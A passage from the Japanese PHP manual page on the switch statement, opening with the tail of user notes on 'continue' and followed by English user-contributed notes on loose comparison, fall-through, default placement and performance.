because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com 25-Dec-2005 09:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
    tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

    for($j=0;$j<2;$j++)
    {//Second loop

      for($i=0;$i<4;$i++)
      {//Third loop
    if($i>2)
    continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
    echo "$i\n";
       }

    }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint 28-Jan-2005 06:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv 14-Jan-2005 08:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
    include('page2.php');
}

//page2.php

if($x==5)
    continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com 10-May-2004 08:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
    for ($i = 0;$i<3;$i++) {
        echo "Start Of I loop\n";
        for ($j=0;;$j++) {

            if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
            echo "I : $i J : $j"."\n";
        }
        echo "End\n";
    }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.


switch

(PHP 4, PHP 5, PHP 7, PHP 8)

switch文は、同じ式を用いてIF文を並べたのに似ています。 同じ変数を異なる値と比較し、値に応じて異なったコードを実行したいと 思うことがしばしばあるかと思います。 switch文は、まさにこのためにあるのです。

注意: 他の言語とは違って、 continue命令は switch にも適用され、breakと同じ動作をします。 ループの内部で switch を使用しており、 外側のループの処理を続行させたい場合には、continue 2 を使用してください。

注意:

switch/case が行うのは、 緩やかな比較 であることに注意しましょう。

次の二つの例は、同じことを二つの異なった方法で書いたものです。 一つは、if文を、もう一つはswitch 文を使っています。

例1 switch構造

<?php
if ($i == 0) {
    echo "iは0に等しい";
} elseif ($i == 1) {
    echo "iは1に等しい";
} elseif ($i == 2) {
    echo "iは2に等しい";
}

switch ($i) {
    case 0:
        echo "iは0に等しい";
        break;
    case 1:
        echo "iは1に等しい";
        break;
    case 2:
        echo "iは2に等しい";
        break;
}
?>

例2 switch構造では文字列を使用できる

<?php
switch ($i) {
    case "apple":
        echo "i is apple";
        break;
    case "bar":
        echo "i is bar";
        break;
    case "cake":
        echo "i is cake";
        break;
}
?>

失敗を避けるためにswitch文がどのように実行されるのかを 理解することが重要です。 switch文は、行毎に実行されます。 (実際には、文毎に実行されます。)初めは、何も実行しません。 switch式の値と同じ値として評価される式を有する case文が見つけられたときに初めてPHPにより 命令の実行が行われます。 PHPはswitchブロックの終わりまたは最初の break文まで実行を続けます。 CASE文の終わりにbreak文を書かない場合は、PHPは 次のCASE文を実行しつづけます。例えば、

<?php
switch ($i) {
    case 0:
        echo "iは0に等しい";
    case 1:
        echo "iは1に等しい";
    case 2:
        echo "iは2に等しい";
}
?>

ここで、$iが0に等しい場合は、PHPは全ての echo 文を出力してしまいます! $iが1の場合、PHPは最後の二つの echo 文を出力します。 $iが2に等しい場合のみ、'期待した'動作をし、 'iは2に等しい'と表示します。 このため (ある種の状況下では、BREAKを付加することを避けたいと 思うかもしれませんが)、 break文を忘れないようにすることが重要です。

switch文では、条件は1度だけ評価され、 その結果が各case文と比較されます。 elseif文では、条件は、再度評価されます。 使用する条件が単純な比較処理よりも複雑な処理を行ったり、 重い繰り返し処理を行う場合、switchの方が より処理が速い可能性があります。

caseに付随する文は、空とすることが可能です。 この場合、次のcaseに付随する文に制御が移行します。

<?php
switch ($i) {
    case 0:
    case 1:
    case 2:
        echo "iは3より小さいですが負ではありません";
        break;
    case 3:
        echo "iは3です";
}
?>

default は、case 文の特別な場合です。これは他の全ての case にマッチしない場合に実行されます。例を以下に示します。

<?php
switch ($i) {
    case 0:
        echo "iは0に等しい";
        break;
    case 1:
        echo "iは1に等しい";
        break;
    case 2:
        echo "iは2に等しい";
        break;
    default:
       echo "iは0,1,2に等しくない";
}
?>

注意: 複数の default を置くと、 E_COMPILE_ERROR エラーが発生します。

switch文の制御構造に関する別の構文がサポートされています。 詳細は、 制御構造に関する別の構文を参照ください。

<?php
switch ($i):
    case 0:
        echo "iは0に等しい";
        break;
    case 1:
        echo "iは1に等しい";
        break;
    case 2:
        echo "iは2に等しい";
        break;
    default:
        echo "iは0でも1でも2でもない";
endswitch;
?>

case の最後はコロンではなくセミコロンとすることもできます。たとえば次のようになります。

<?php
switch($beer)
{
    case 'ツボルグ';
    case 'カールスバーグ';
    case 'ハイネケン';
        echo 'いいっすねぇ';
    break;
    default;
        echo 'ほかのを選んでみませんか?';
    break;
}
?>

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 06:09
This is how it works: First we have a single expression n (most often a variable), that is evaluated once. The value of the expression is then compared with the values for each case in the structure. If there is a match, the block of code associated with that case is executed. Use break to prevent the code from running into the next case automatically. The default statement is used if no match is found.

<?php
$favcolor = "red";

switch ($favcolor) {
  case "red":
    echo "Your favorite color is red!";
    break;
  case "blue":
    echo "Your favorite color is blue!";
    break;
  case "green":
    echo "Your favorite color is green!";
    break;
  default:
    echo "Your favorite color is neither red, blue, nor green!";
}
?>
brentmmonson at gmail dot com 27-Jun-2020 10:53
You can use multiple break statements within a case. In this contrived example, I get out of the first case of the switch statement once a condition is met. Just remember to include another break statement as a failsafe.

<?php

$disk = '3.5 inch floppy';

switch ($disk) {
    case '5 inch floppy':
    case '3.5 inch floppy':
    case 'usb':
    case 'cd':

        echo "Reading disk...";

        if (strpos($disk, 'floppy') !== false) {
            echo "It bent.";
            break;
        }

        echo "It worked.";
        break; // failsafe

    default:
        echo "Don't stick cupcakes in here.";
        break;
}
sergey at neskhodovskiy dot com 08-Jan-2020 05:15
As the doc states, switch uses loose comparison by default. We use the inversion trick (mentioned by many posters) to make it perform a strict one:

$a = 0;

switch (true) {
    case ($a === true):
        echo '$a is true';
        break;
    case ($a === false):
        echo '$a is false';
        break;
    case ($a === 0):
        echo '$a is 0';
        break;
}

// outputs correctly '$a is 0';
none at example dot com 12-Sep-2019 05:31
A note on continue, continue 2, and break:

$a = [1, 2, 3];

foreach($a as $b) {
  switch($b) {
    case 1:
      echo 'a'; continue;
    case 2:
      echo 'b'; continue;
    default:
      echo 'c'; continue;
  }

  echo '0';
}
// outputs a0b0c0 (and warns twice about continue in a switch statement)

foreach($a as $b) {
  switch($b) {
    case 1:
      echo 'a'; break;
    case 2:
      echo 'b'; break;
    default:
      echo 'c'; break;
  }

  echo '0';
}
// outputs a0b0c0

foreach($a as $b) {
  switch($b) {
    case 1:
      echo 'a'; continue 2;
    case 2:
      echo 'b'; continue 2;
    default:
      echo 'c'; continue 2;
  }

  echo '0';
}
//outputs abc0

In short, continue and break will more or less behave the same (albeit the former throws out warnings), but continue 2 will end the loop iteration, and move to the next iteration (even if there is a block in the iteration after the switch statement).
Manucyan 07-Jun-2019 02:24
Some tests:

switch ('aaaaa') {
        default         : echo "DEFAULT TOP 1"; break;
        default         : echo "DEFAULT TOP 2"; break;

        case 'aaaaa': echo "CASE TOP 1"; break;
        case 'aaaaa': echo "CASE TOP 2"; break;

        default         : echo "DEFAULT BOTTOM 1"; break;
        default         : echo "DEFAULT BOTTOM 2"; break;

        case 'aaaaa': echo "CASE BOTTOM 1"; break;
        case 'aaaaa': echo "CASE BOTTOM 2"; break;
}
//return ------>  CASE TOP 1

switch ('SOMETHING_THAT_DOESN_T_EXIST') {
        default         : echo "DEFAULT TOP 1"; break;
        default         : echo "DEFAULT TOP 2"; break;

        case 'aaaaa': echo "CASE TOP 1"; break;
        case 'aaaaa': echo "CASE TOP 2"; break;

        default         : echo "DEFAULT BOTTOM 1"; break;
        default         : echo "DEFAULT BOTTOM 2"; break;

        case 'aaaaa': echo "CASE BOTTOM 1"; break;
        case 'aaaaa': echo "CASE BOTTOM 2"; break;
}
//return ------>  DEFAULT BOTTOM 2

    Some observations:
    - no errors if several identical boxes or defaultes
    - the last defect takes over
    - the first of the boxes takes the hand
    - we can put the default at the top (indeed sometimes it's more intuitive)
septerrianin at mail dot ru 15-Aug-2018 09:15
php 7.2.8.
The answer to the eternal question " what is faster?":
1 000 000 000 iterations.

<?php
$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  if ($x == 1) {
    $y = $x * 1;
  } elseif ($x == 2) {
    $y = $x * 2;
  } elseif ($x == 3) {
    $y = $x * 3;
  } elseif ($x == 4) {
    $y = $x * 4;
  } elseif ($x == 5) {
    $y = $x * 5;
  } elseif ($x == 6) {
    $y = $x * 6;
  } elseif ($x == 7) {
    $y = $x * 7;
  } elseif ($x == 8) {
    $y = $x * 8;
  } elseif ($x == 9) {
    $y = $x * 9;
  } else {
    $y = $x * 10;
  }
}
print("if: ".(time() - $s)."sec\n");

$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  switch ($x) {
  case 1:
    $y = $x * 1;
    break;
  case 2:
    $y = $x * 2;
    break;
  case 3:
    $y = $x * 3;
    break;
  case 4:
    $y = $x * 4;
    break;
  case 5:
    $y = $x * 5;
    break;
  case 6:
    $y = $x * 6;
    break;
  case 7:
    $y = $x * 7;
    break;
  case 8:
    $y = $x * 8;
    break;
  case 9:
    $y = $x * 9;
    break;
  default:
    $y = $x * 10;
  }
}
print("switch: ".(time() - $s)."sec\n");
?>

Results:
if: 69sec
switch: 42sec
Anonymous 05-Jan-2015 11:27
Please note that PHP won't throw any error/warning if your `switch` utilizes more than one `default` - in such case it will just jump to the first one.

Also note that you (for unknown reason for me) are allowed to use semicolons `;` along colon `:` for `case` and `default` entries:

<?php

switch($foo) {
   case 0:    // colon
        ...
   break;

   case 1;    // semicolon is fine
        ...
   break;
}
info at maisuma dot jp 20-Nov-2014 06:26
If you want to avoid numeric compare for numeric strings in switch statement, try prepending something non-numeric.

e.g.
<?php
$val='2';
switch($val){
case '2.0' : echo '2.0!??'; break;
case '2' : echo '2.'; break;
}
?>
echoes '2.0!??' ; while prepended version
<?php
$val='2';
switch('#' . $val){
case '#2.0' : echo '2.0!??'; break;
case '#2' : echo '2.'; break;
}
?>
echoes '2.'.
druellan at sfidastudios dot com 21-Jul-2014 09:27
Be careful if you have mixed types of values in the switch statement. Explicitly cast your variables where possible to avoid mismatch:

<?php
$var = 0;

// This match case #1
// switch ( $var )

// This works as expected
switch ( (string)$var )
{
  case "0string":
    echo "0string match";
    break;
}
?>
MaxTheDragon at home dot nl 14-Jun-2012 02:29
This is listed in the documentation above, but it's a bit tucked away between the paragraphs. The difference between a series of if statements and the switch statement is that the expression you're comparing with, is evaluated only once in a switch statement. I think this fact needs a little bit more attention, so here's an example:

<?php
$a = 0;

if(++$a == 3) echo 3;
elseif(++$a == 2) echo 2;
elseif(++$a == 1) echo 1;
else echo "No match!";

// Outputs: 2

$a = 0;

switch(++$a) {
    case 3: echo 3; break;
    case 2: echo 2; break;
    case 1: echo 1; break;
    default: echo "No match!"; break;
}

// Outputs: 1
?>

It is therefore perfectly safe to do:

<?php
switch(winNobelPrizeStartingFromBirth()) {
case "peace": echo "You won the Nobel Peace Prize!"; break;
case "physics": echo "You won the Nobel Prize in Physics!"; break;
case "chemistry": echo "You won the Nobel Prize in Chemistry!"; break;
case "medicine": echo "You won the Nobel Prize in Medicine!"; break;
case "literature": echo "You won the Nobel Prize in Literature!"; break;
default: echo "You bought a rusty iron medal from a shady guy who insists it's a Nobel Prize..."; break;
}
?>

without having to worry about the function being re-evaluated for every case. There's no need to preemptively save the result in a variable either.
Anonymous 27-Mar-2012 11:34
Switch usage for make some actions with all of cases

<?php
$out = ' ';
for ($i=1;$i<10:$i++) {
   switch ($i) {
      case true: $out .= 'test_';
      case 1:
      case 2:
      case 3: $out .= $i;
      default: $out .= ' ';
   }
}
echo $out;
?>

That sample out:

" test_1 test_2 test_3 "
Anonymous 15-Feb-2012 06:29
Regarding [php_net at mcdragonsoftware dot com 17-Jun-2011 09:53]; the elegant function and syntax provided for an "inline switch" statement is more readable and about 25% faster than this alternative (that uses existing builtin functions), which produces the same result:

<?php echo array_pop(array_slice(array( 'rock', 'paper', 'scissors' ), --$roll, 1)); ?>
Anonymous 14-Feb-2012 09:39
Rewriting the function (to be three times faster) provided by [stever at ashomecare dot com 07-Sep-2007 09:11] and demonstrating points that others have made:

<?php
function getChineseZodiac($year){

    switch ($year % 12) :
        case  0: return 'Monkey';  // Years 0, 12, 1200, 2004...
        case  1: return 'Rooster';
        case  2: return 'Dog';
        case  3: return 'Boar';
        case  4: return 'Rat';
        case  5: return 'Ox';
        case  6: return 'Tiger';
        case  7: return 'Rabit';
        case  8: return 'Dragon';
        case  9: return 'Snake';
        case 10: return 'Horse';
        case 11: return 'Lamb';
    endswitch;
}

echo getChineseZodiac(2016);
?>
theimp at iinet dot net dot au 02-Jun-2010 01:04
It's easy to abuse the switch syntax to do some very useful things. As this example will show, the possibilities can go beyond even Duff's Device-style craziness (not that this example is nearly as clever as Duff's Device, but it demonstrates how you can do certain things other than simply the increment/decrement/assignment that's possible in C).

Fundamentally, this works mostly due to the fact that, from the point of view of the assembler/interpreter, a switch block is hardly any different from a bunch of GOTO labels and  if()  evaluations. But, like an  if() evaluation, the line of a case: statement is evaluated as an expression. So, in this case, we can perform an assignment and match the result of that assignment, because the return value of an assignment is the data that was assigned (and not the value of the variable it was assigned to, as you might expect).

So far, this is not actually amazing, even if it is a bit unintuitive. From a language point-of-view, it would be the same as an  if($var = "string")  statement which is using an assignment (=) rather than a comparison (==) operator. When you look at the pre-processing optimization, because a normal assignment of $var = "string" will always equal "string", it makes sense to have the result of that expression simply be equal to the right side of the expression (the right side is used rather than the left to let the assembler/interpreter work faster, on account of how they traditionally simply change the memory location for the assigned variable rather than copy the memory around unnecessarily).

Where this becomes more interesting is where, in PHP, you have language constructs that behave like functions but are used like statements. An  $array[] = "string"  expression is actually a language construct that just happens to behave a lot like a function, but you use it in the same way that you use an assignment expression, and like an expression, it always evaluates to the right side of the expression; in this case,  "string"  and not  array() .

The assembler/interpreter can't use the right side of the expression as a shortcut for the result of a function, so you can't use functions in this way in a case statement. You also can't get around this limit on calling functions from the case line by using variable functions, because they are used in the same way as functions.

But imagine what you could do with other language constructs, like eval() or include() !

Consider the following:

<?php
function flavor($type = null)
{
    switch ($type) {
        /* Note the isolation of break; statements and the fact that default: is at the top */
        default:
            $type = null;
        case $array[] = "chocolate":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "strawberry":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "vanilla":
            if ($type != null) {
                $array = array($type);
                break;
            }
    }
    if ( (count($array) != 1) ) {
        return "Flavors available: " . implode(", ", $array);
    } else {
        return "Flavor selected: " . implode(", ", $array);
    }
}

echo flavor() . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("banana") . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("chocolate") . "<br>";
/* Flavor selected: chocolate */
?>

What makes this example useful is that you don't need a variable somewhere that contains the available options (even within the function itself), so to support new options, you only ever have to change the code to add the new option - you don't need to update some variable somewhere that controls whether or not it works or whether or not people can tell that there's a new option.
mr at bwsolution dot de 11-May-2010 02:29
"loose comparison" means that switch won't check the type.
switch will only compare values:
<?php
if('a string' == 0) echo 'a string is 0' . PHP_EOL;
if('a string' === 0) echo 'but you will never see this' . PHP_EOL;
switch(0){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}

if('a string' == true) echo 'a string is TRUE' . PHP_EOL;
if('a string' === true) echo 'but you will never see this' . PHP_EOL;
switch(true){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}
?>

will output:
a string is 0
a string
another string
a string is TRUE
a string
another string
lchanady at gmail dot com 27-Jan-2010 09:56
Something fairly simple (and maybe obvious) that I didn't see mentioned is that the default case WILL be executed even if the switched variable does not exist or is undefined.

For example:

<?php

$a = "abc";
$b = "def";

switch($c){
    case "a":
        echo "a";
        break;
    case "b":
        echo "b";
        break;
    default:
        echo "default";
        break;
}

?>

Will output: default

Even though $c was never declared or defined, the default case will still be executed rather than PHP throwing an error.
sedativchunk at gmail dot com 01-Feb-2009 09:22
Not sure if this has been posted or not, but I found the switch statement useful for finding ranges of data.

This script creates web 2.0 style links in different font sizes (popular on blogs) using a randomizer and switch statement. I used links from within a database for a mod I made for a Simple Machines forums, but this example uses arrays for links if you wanted to add your own custom links:
<?php
// Create set of links
$link = array();
$link[] = '<a href="whatever.html">page 1</a>';
$link[] = '<a href="whatever.html">page 2</a>';
$link[] = '<a href="whatever.html">page 3</a>';
$link[] = '<a href="whatever.html">page 4</a>';
$link[] = '<a href="whatever.html">page 5</a>';
$link[] = '<a href="whatever.html">page 6</a>';
$link[] = '<a href="whatever.html">page 7</a>';
$link[] = '<a href="whatever.html">page 8</a>';

// Create loop to display links
for($i = 0; $i < count($link); ++$i)
{
    // Create randomizer
    // Use switch statement to find font size
    $randomizer = rand(1,50);
    switch($randomizer)
    {
    case ($randomizer <= 20):
    $font_size = "11";
    break;

    case ($randomizer <= 30):
    $font_size = "16";
    break;

    case ($randomizer <= 40):
    $font_size = "18";
    break;

    case ($randomizer <= 50):
    $font_size = "20";
    break;
    }

    // Display the link
    echo '<span style="font-size: ' .$font_size. ';">' .$link[$i]. '</span>&nbsp;&nbsp;';

// Loop the next link
}
?>

Using this type of range randomizer is useful for game development and it can be useful on the web too, for things where you don't want to use a randomizer just for things like (1-5) where you wanted a more then likely result for one thing over another. The switch statement saves from writing spaghetti code if statements.
hamiltont at gmail dot com 02-Jan-2009 11:32
Example of default NOT included as the last item

<?php
switch(5) {
  case 1:
    echo "1";
    break;
  case 2:
  default:
    echo "2, default";
    break;
  case 3;
    echo "3";
    break;
}
?>

Outputs '2,default'

very useful if you want your cases to be presented in a logical order in the code (as in, not saying case 1, case 3, case 2/default) and your cases are very long so you do not want to repeat the entire case code at the bottom for the default

Hamy
Keil 09-Dec-2008 08:06
As follow-up to ben dot lancaster at holler dot co dot uk's post:

'continue' ends the switch, not the case, just as it would with any other flow control. Think of it as putting the execution pointer right before the ending accolade (that is, the }) because that is essentially what happens. In the case of a for loop, this would cause the iteration clause to execute, and if applicable, the loop to begin again. However, switches do not loop, which is why (as noted above, in the manual!) a continue statement essentially acts as a break when within a switch.
richard 10-Nov-2008 01:32
Just a word of warning about using switch don't try and compare variables that contain numbers with strings like so:

<?php
$i=0;

switch($i)
{
    case 'TEST': print "Test";break;
    case 0: print "0";break;
}
?>

The output will be: Test and not 0.
mar dot czapla at gmail dot com 10-Oct-2008 02:17
<?php
    /* script 1  */
    $foo = "not a number";
    switch(false)
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number"

    /* script 2  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1])    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number" ( not 0 ! )

    /* script 3  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1]?$arr[1]:"1")    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;
    // will produce :
    // 1 if $arr[1] isn't set
    // 1 if $arr[1]=1
    // 2 if $arr[1]=2
    // 0 if none of above
?>
cretz 30-Sep-2008 05:56
Haven't seen it mentioned here, but at least in my version (PHP 5.2.5) and I'm sure all of PHP 5, the switch statement is a great way to check type safe enumerates that are otherwise missing in the PHP language. Example:

<?php

class WannabeEnum {
    /**
     * @var WannabeEnum
     */
    public static $FOO;
    /**
     * @var WannabeEnum
     */
    public static $BAR;
    /**
     * @var WannabeEnum
     */
    public static $FOOBAR;
    private $_ordinal;
    public function __construct($ordinal) {
        $this->_ordinal = $ordinal;
    }
}
WannabeEnum::$FOO = new WannabeEnum(1);
WannabeEnum::$BAR = new WannabeEnum(2);
WannabeEnum::$FOOBAR = new WannabeEnum(3);

function testSwitch(WannabeEnum $wannabeEnum) {
    switch($wannabeEnum) {
        case WannabeEnum::$FOO:
            echo('Foo!' . PHP_EOL);
            break;
        case WannabeEnum::$BAR:
            echo('Bar!' . PHP_EOL);
            break;
        default:
            echo('Default!' . PHP_EOL);
    }
}
testSwitch(WannabeEnum::$FOO);
testSwitch(WannabeEnum::$FOOBAR);
?>

Outputs:

Foo!
Default!

Don't forget it uses loose comparisons!
mmxg at shaw dot ca 01-Jul-2008 01:30
In reply to lko at netuse dot de

Just so others know whom may not, that's because PHP does automatic type conversion if a string is evaluated as an integer (it sees the 2 in '2string' so when compared like if ('2string' == 2), PHP sees if (2 == 2) ).

I just tested it, but if you go:

<?php

$string="2string";

switch($string)
{
    case (string) 1:
        echo "this is 1";
        break;
    case (string) 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The output will be "this is a string" and if you change $string to "2" it will again be "this is 2".

Just in case that may help anyone who may run into that problem.
lko at netuse dot de 07-Apr-2008 08:51
Attention if you have mixed types of value in one switch statemet it can make you some trouble

<?php

$string="2string";

switch($string)
{
    case 1:
        echo "this is 1";
        break;
    case 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The swich-statement will halt on 'case 2'

Answer: this is 2
Hayley Watson 24-Oct-2007 02:02
Something not mentioned in the documentation itself, and only touched on momentarily in these notes, is that the default: case need not be the last clause in the switch.
<?php
for($i=0; $i<8; ++$i)
{
    echo $i,"\t";
    switch($i)
    {
    case 1: echo "One"; break;
    case 2:
    default: echo "Thingy"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    }
    echo "\n";
}
?>
Outputs what you'd expect, namely
0       Thingy
1       One
2       Thingy
3       Three or Four
4       Three or Four
5       Five
6       Thingy
7       Thingy
with case 2 and the default both producing the same result ("Thingy"); strictly speaking, the case 2 clause is completely empty and control just falls straight through. The same result could have been achieved with
<?php
switch($i)
{
    case 1: echo "One"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    default: echo "Thingy"; break;
}
?>
But if "case 2" represented a fairly common case (other than "everything else"), then it would be better to declare it explicitly, not only because it saves time by not having to test EVERY other case first  (in the current example, PHP finds 'case 2' in the first switch in two tests, but in the second switch it has to make four tests before giving up and going with the default) but also because someone (perhaps yourself in a few months' time) will be reading the code and expecting to see it handled. Listing it explicitly aids comprehension
2mareks (at) gmail (dot) com 29-Nov-2006 03:03
In reply to earlier comment, "switch"- I found this to be one of the best ways to interpret 'actions'. Simply create a new instance of Handler_action before including any content source files. This is a highly stripped version of the class.

The real one I created handles (and secures) input for $_GET and $_POST, creates a 'permission' array that only allows certain actions to be called by non-admins, and creates handy little diagnostic messages that can be displayed upon redirecting.

On that note, the beauty in this class really shines in the simple redirect. You wont be left with ugly URLs like, "http://www.domain.com/path/to/script.php?action=blah&var1=123". Rather, you will be left with something like "http://www.domain.com/path/to/script.php"- helps protect some of the site by not showing any vulnerabilities in URLs.

Also, this class keeps all actions organized neatly by directly passing $_GET vars to the actions through function parameters.

<?php
  class Handler_action {
    function __construct( ){
      //Add code here to secure attacks through $_GET or use $_POST
      $action = $_GET["action"];

      //$actions_index conventions:
      //'action_name' => array( 'arg1', 'arg2', 'etc', ['/redirect/to/path' | NULL ] )
      $actions_index = array(
        'create' => array( $_GET['newVar1'], $_GET['newVar2'], '/home.php' ),
        'edit' => array( $_GET['id'], $_GET['otherVar'], '/home.php' ),
        'delete' => array( $_GET['id'], '/other_script.php' )
      );

      if( $action && array_key_exists( $action, $actions_index ) ){
        $redirect_path = array_pop( $actions_index[$action] );
        call_user_func_array( array( &$this, $action ), $actions_index[$action] );
        if( $redirect_path )
          header( "Location: http://www.domain.com{$redirect_path}" );
      }
    }

    //being defining actions now
    function create( $new_var1, $new_var2 ){

      //code...

    }
    function edit( $id, $other_var ){

      //code...

    }
    function delete( $id ){

      //code...

    }
  }
?>
27-Oct-2006 03:29
I could have used a swich for this, but I found that using the array was much faster.

    $action = $_GET['action'];

    $pages = array
    (
      'edit'   => './edit.php',
      'search' => './search.php'
    );

    if(strlen($pages[$action]) > 0)
    {
      require $pages[$action];
    }
    else
    {
      require './default.php';
    }
manicdepressive at mindless dot com 21-Apr-2004 04:43
Be careful if distinguishing between NULL and (int)0.  As implied in the above documentation, the case statements are equivalent to the '==' operator, not the '===' operator, so the following code did not work as i expected:

<?php
$mixed = 0;
switch($mixed){
   case NULL: echo "NULL";  break;
   case 0: echo "zero";  break;
   default: echo "other"; break;
}
?>

Instead, I may use a chain of else-ifs.  (On this page, kriek at jonkreik dot com states that "in most cases [a switch statement] is 15% faster [than an else-if chain]" but jemore at m6net dotdot fr claims that when using ===, if/elseif/elseif can be 2 times faster than a switch().)

Alternatively, if i prefer the appearance of the switch() statement I may use a trick like the one nospam at please dot com presents:

<?php
$mixed = 0;
switch(TRUE){
   case (NULL===$mixed): //blah break;
   case (0   ===$mixed): //etc. break;
}
?>

code till dawn! mark meves!
php dot net dot 1 at yogelements dot com 19-Jan-2004 10:39
Declaring a variable (actually an array) as static w/in a switch{} spun my wool for a while:
don't:
<?
function ss() {
    switch ("bug") {
        case "bug" :
           static $test = "xyz";
           break;
        default :
           static $test = "abc";
    }
 echo $test;
}
ss(); //abc
?>
do:
<?
function tt() {
    static $test;
    switch ("fix") {
        case "fix" :
           $test = "xyz";
           break;
        default :
           $test = "abc";
    }
 echo $test;
}
tt(); // xyz
?>
gmgiles at pacbell dot net 19-Jan-2004 01:07
Did you know that switch() and case() can also accomodate things like basic math calculations and counter incrementing? They do. In this example, I use a switch statement (which is inside of a while loop) to alternate the background color of a table row. It gives me a cool spool-printer-paper effect.

<?php
$rows_per_color = 5;  // change bgcolor every 5 rows
switch($ctr++) {
    case 0:
        $bgcolor = "#ffffff";
        break;
    case ($rows_per_color):
        $bgcolor = "#ff0000";
        break;
    case ($rows_per_color * 2):
        $bgcolor = "#ffffff";
        $ctr = 1;
        break;
}
?>

As you can see, I increment $ctr by 1 in the switch() itself, and the final case() does a simple calculation. Simple, but powerful. [Remember, the above example is inside of a while() loop... each time it iterates, switch increments $ctr.]
jon 08-Dec-2003 12:48
In response to the entry by "kriek at jonkriek dot com", I think you would probably be better of doing this:
<?php
    // ensure $_GET['go'] is set, an integer, and not 0
    // then, set nav number; default to 1
    $nav = ( isset($_GET['go']) && (intval($_GET['go']) == $_GET['go']) && $_GET['go'] ) ?
        intval($_GET['go']) : 1;

    // format navigation string and include
    include(sprintf("Page%02d.php",$nav));
?>

... as oppposed to the switch setup you recommended, which is limited to the number of cases you specify...
havar at henriksen dot nu 14-Sep-2003 01:54
Remember, that you also could use functions in a switch.
For example, if you need to use regular expressions in a switch:

<?php
$browserName = 'mozilla';
switch ($browserName) {
  case 'opera':
    echo 'opera';
  break;
  case (preg_match("/Mozilla( Firebird)?|phoenix/i", $browserName)?$browserName:!$browserName):
    echo "Mozilla or Mozilla Firebird";
  break;
  case 'konqueror':
    echo 'Konqueror';
  break;
  default:
    echo 'Default';
  break;
}
?>

or you could just use a regular expression for everything:

<?php
$uri = 'http://www.example.com';
switch (true) {
  case preg_match("/$http(s)?/i", $uri, $matches):
    echo $uri . ' is an http/https uri...';
  break;
  case preg_match("/$ftp(s)?/i", $uri, $matches):
    echo $uri . ' is an ftp/ftps uri...';
  break;
  default:
    echo 'default';
  break;
}
?>
shawn at evilest dot net 04-May-2003 02:50
You can also nest switch statements inside case statements:

<?php
   // Set argument handlers
    $argv = explode(",", urldecode(getenv('QUERY_STRING')));
    $argc = array_shift($argv);
    $argd = array_shift($argv);
    $arge = array_shift($argv);
?>

   // Begin switching

<?php
    switch ($argc) {
        case 'home': {
             print('This is $argc, home case.');
            break;
        }
        case 'subsection': {
                switch ($argd) {
                     case 'links': {
                            switch($arge) {
                                case 'display': {
                                print('This is $arge, subsection,links,display case.');
                                break;
                                }
                           }
                    }
                }
        }
    }
?>
rmunn at pobox dot com 23-Jan-2003 11:21
In answer to njones at fredesign dot com, what you're seeing is the way the switch statement is supposed to work. The switch statement evaluates the cases, top to bottom, until it finds the first one that matches the value being switch()ed on. So, for example, if you had:

<?php
switch(2) {
case 1: echo "One\n"; break;
case 2: echo "Two\n"; break;
case 3: echo "Three\n"; break;
case 2: echo "Two again\n"; break;
}
?>

Only "Two" would get echoed. "Two again" would NOT get echoed, because once the first case matches, the rest of them do NOT get evaluated. As soon as a matching case is found, the statements starting at that case get executed until the first break, then control flows out the bottom of the switch block.
theonly dot mcseven at gmx dot net 18-Jan-2003 08:44
working a bit around with it I found out that it is not possible to
compare the variable with two different values in one step like this
(system running a w2k server, apache2.0.43 & php430):

<?php
switch ($myvar) {
 case ("foo" || "bar"): //do something
 break;
